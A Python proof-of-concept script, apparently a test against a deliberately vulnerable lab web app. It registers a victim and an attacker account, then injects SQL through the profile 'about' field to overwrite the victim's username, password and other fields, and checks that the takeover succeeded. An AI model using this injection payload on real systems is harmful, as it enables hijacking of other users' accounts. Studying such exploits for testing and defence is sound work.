text: from requests import session, get
  from sys import argv
  from random import randint
  
  SERVER = argv[1]
  
  victimSession = session()
  victimUsername = str(randint(2 ** 27, 2 ** 28))
  victimPassword = str(randint(2 ** 27, 2 ** 28))
  attackerSession = session()
  attackerUsername = str(randint(2 ** 27, 2 ** 28))
  attackerPassword = str(randint(2 ** 27, 2 ** 28))
  newAbout = str(randint(2 ** 27, 2 ** 28))
  newUsername = str(randint(2 ** 27, 2 ** 28))
  newPassword = str(randint(2 ** 27, 2 ** 28))
  newName = str(randint(2 ** 27, 2 ** 28))
  newPhoto = str(randint(2 ** 27, 2 ** 28))
  
  # Cleaning DB
  r = get(SERVER + "/init")
  assert "Initialisation DONE!" in r.text
  
  # Victim Registration
  data = {
      "username": victimUsername,
      "password": victimPassword
  }
  r = victimSession.post(SERVER + "/register", data=data)
  
  assert "Welcome" in r.text
  assert victimUsername in r.text
  
  # Attacker Registration
  data = {
      "username": attackerUsername,
      "password": attackerPassword
  }
  r = attackerSession.post(SERVER + "/register", data=data)
  
  assert "Welcome" in r.text
  assert attackerUsername in r.text
  
  # Other's Profile Update
  about = "{}', USERNAME = '{}', PASSWORD = '{}', NAME = '{}', PHOTO = '{}' WHERE USERNAME = '{}' -- "\
      .format(newAbout, newUsername, newPassword, newName, newPhoto, victimUsername)
  data = {
      "name": "",
      "currentpassword": attackerPassword,
      "newpassword": "",
      "about": about
  }
  files = {
      "photo": ""
  }
  r = attackerSession.post(SERVER + "/update_profile", data=data, files=files)
  
  assert "Succesfully" in r.text
  assert attackerUsername in r.text
  
  # Victim Login
  data = {
      "username": newUsername,
      "password": newPassword
  }
  r = victimSession.post(SERVER + "/login", data=data)
  
  assert "Welcome" in r.text
  
  r = victimSession.get(SERVER + "/profile", data=data)
  
  assert newAbout in r.text
  assert newUsername in r.text
  assert newName in r.text
  assert newPhoto in r.text
  
  print("Success!")
  victimSession.close()
  attackerSession.close()
  